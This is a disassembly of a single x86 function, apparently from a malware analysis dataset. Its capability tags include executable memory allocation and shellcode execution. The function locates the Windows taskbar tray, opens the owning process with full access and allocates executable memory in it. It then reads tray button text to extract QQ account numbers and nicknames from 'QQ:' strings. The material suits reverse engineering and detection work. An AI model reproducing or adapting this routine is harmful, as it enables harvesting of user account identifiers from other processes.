Function at 0x1000a5b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Find taskbar

Disassembly:
sub esp, 0x74
push ebx
push ebp
push esi
push edi
push str.GET_QQ_NUMBER
call fcn.10002c40
mov eax, dword [0x1004c410]
xor ebx, ebx
add esp, 4
cmp eax, ebx
jne 0x1000a5d4
call fcn.10002fc0
push ebx
push str.Shell_TrayWnd
mov dword [esp + 0x20], ebx
call dword [sym.imp.USER32.dll_FindWindowA]
push eax
call sub.MFC42.DLL_CWnd::FromHandle
cmp eax, ebx
jne 0x1000a5f8
push str.No_find_Shell_TrayWnd_window
jmp 0x1000aa45
mov eax, dword [eax + 0x20]
mov edi, dword [sym.imp.USER32.dll_FindWindowExA]
push ebx
push str.TrayNotifyWnd
push ebx
push eax
call edi
mov esi, eax
cmp esi, ebx
jne 0x1000a61b
push str.No_find_TrayNotifyWnd_window
jmp 0x1000aa45
push ebx
push str.SysPager
push ebx
push esi
call edi
cmp eax, ebx
jne 0x1000a638
push str.No_find_Syspager_window
call fcn.10002c40
add esp, 4
mov eax, esi
push ebx
push str.ToolbarWindow32
push ebx
push eax
call edi
mov esi, eax
cmp esi, ebx
mov dword [esp + 0x1c], esi
je 0x1000aa40
mov ecx, 0xf
xor eax, eax
lea edi, [esp + 0x45]
mov byte [esp + 0x44], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
push ebx
push 0x418
push esi
stosb byte es:[edi], al
mov dword [esp + 0x20], ebx
call dword [sym.imp.USER32.dll_SendMessageA]
lea ecx, [esp + 0x28]
mov ebp, eax
push ecx
push esi
mov dword [esp + 0x34], ebp
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov edx, dword [esp + 0x28]
push edx
push ebx
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 4
push 0x1000
mov edi, eax
push 0x40
push ebx
push edi
mov dword [esp + 0x38], edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
test ebx, ebx
jne 0x1000a6d0
push 0x1000e1b0
call fcn.10002c40
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1000aa4d
xor eax, eax
test ebp, ebp
mov dword [esp + 0x20], eax
jle 0x1000aa28
mov ebp, dword [sym.imp.MSVCRT.dll_strrchr]
jmp 0x1000a6ee
mov esi, dword [esp + 0x1c]
mov edi, dword [esp + 0x24]
push ebx
push eax
push 0x417
push esi
mov dword [esp + 0x24], 0
call dword [sym.imp.USER32.dll_SendMessageA]
mov esi, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x34]
push 0x14
push ecx
push ebx
push edi
call esi
mov ecx, dword [esp + 0x3c]
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x18]
push 4
push eax
push ecx
push edi
call esi
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x18]
push edx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ecx, dword [esp + 0x18]
mov eax, dword [0x1004c3f0]
cmp ecx, eax
jne 0x1000aa0f
mov edx, dword [esp + 0x34]
mov eax, dword [esp + 0x1c]
push ebx
push edx
push 0x42d
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x44]
push ecx
push 0x3f
push edx
push ebx
push edi
call esi
lea edi, [esp + 0x44]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
test ecx, ecx
jle 0x1000a797
cmp byte [esp + eax + 0x44], 0xd
je 0x1000a846
inc eax
cmp eax, ecx
jl 0x1000a787
mov esi, dword [sym.imp.MSVCRT.dll_strncmp]
push 3
lea ecx, [esp + 0x48]
push 0x1000f0a4
push ecx
call esi
add esp, 0xc
test eax, eax
jne 0x1000a963
lea edi, [esp + 0x47]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [0x1004c018], 1
mov edx, ecx
mov esi, edi
mov edi, 0x1004c1e0
push 0x28
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 0x1004c1e0
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call ebp
mov esi, eax
add esp, 8
test esi, esi
jne 0x1000a80a
push 0x3c
push 0x1004c1e0
call ebp
mov esi, eax
add esp, 8
test esi, esi
je 0x1000a90e
mov eax, esi
sub eax, 0x1004c1e0
push eax
push 0x1004c1e0
push 0x1004c020
call dword [sym.imp.MSVCRT.dll_strncpy]
inc esi
or ecx, 0xffffffff
mov edi, esi
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xfffffffe
push ecx
push esi
push 0x1004c060
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0x18
jmp 0x1000aa0f
mov byte [esp + eax + 0x44], 0
push 4
lea eax, [esp + 0x48]
push str.QQ:
push eax
call dword [sym.imp.MSVCRT.dll_strncmp]
add esp, 0xc
test eax, eax
jne 0x1000aa0f
lea edi, [esp + 0x48]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [0x1004c018], 3
mov edx, ecx
mov esi, edi
mov edi, 0x1004c1e0
push 0x28
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 0x1004c1e0
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call ebp
push 0x29
push 0x1004c1e0
mov esi, eax
call ebp
add esp, 0x10
mov edi, eax
test esi, esi
je 0x1000a8b9
test edi, edi
je 0x1000a8b9
cmp edi, esi
ja 0x1000a8de
push 0x3c
push 0x1004c1e0
call ebp
push 0x3e
push 0x1004c1e0
mov esi, eax
call ebp
add esp, 0x10
mov edi, eax
test esi, esi
je 0x1000a90e
test edi, edi
je 0x1000a90e
cmp edi, esi
jbe 0x1000a90e
mov eax, esi
sub eax, 0x1004c1e0
push eax
push 0x1004c1e0
push 0x1004c020
call dword [sym.imp.MSVCRT.dll_strncpy]
inc esi
sub edi, esi
push edi
push esi
push 0x1004c060
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0x18
jmp 0x1000aa0f
push str.Account_Info_error
call fcn.10002c40
mov edi, 0x1004c1e0
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, 0x1004c060
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x1004c1e0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x1004c020
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
jmp 0x1000aa0a
push 3
lea ecx, [esp + 0x48]
push 0x1000f084
push ecx
call esi
add esp, 0xc
test eax, eax
jne 0x1000a984
mov dword [0x1004c018], 1
jmp 0x1000a9a3
push 3
lea eax, [esp + 0x48]
push 0x1000f080
push eax
call esi
add esp, 0xc
test eax, eax
jne 0x1000aa0f
mov dword [0x1004c018], 2
lea edi, [esp + 0x47]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, 0x1004c1e0
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x1004c1e0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x1004c060
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x1004c1e0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, 0x1004c020
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x2c]
inc eax
cmp eax, ecx
mov dword [esp + 0x20], eax
jl 0x1000a6e6
mov edi, dword [esp + 0x24]
push 0x8000
push 0
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1000aa4d
push str.No_find_ToolbarWindow32_window
call fcn.10002c40
add esp, 4
push 0x1004c1e0
call fcn.10002c20
push 0x1004c020
call fcn.10002c20
push 0x1004c060
call fcn.10002c20
mov edi, 0x1004c060
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x1000aaa5
mov edi, 0x1004c1e0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x1000aaa5
mov eax, dword [0x1004c3f0]
pop edi
pop esi
mov dword [0x1004c01c], eax
pop ebp
mov eax, 1
pop ebx
add esp, 0x74
ret
push 0x1000f064
call fcn.10002c40
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x74
ret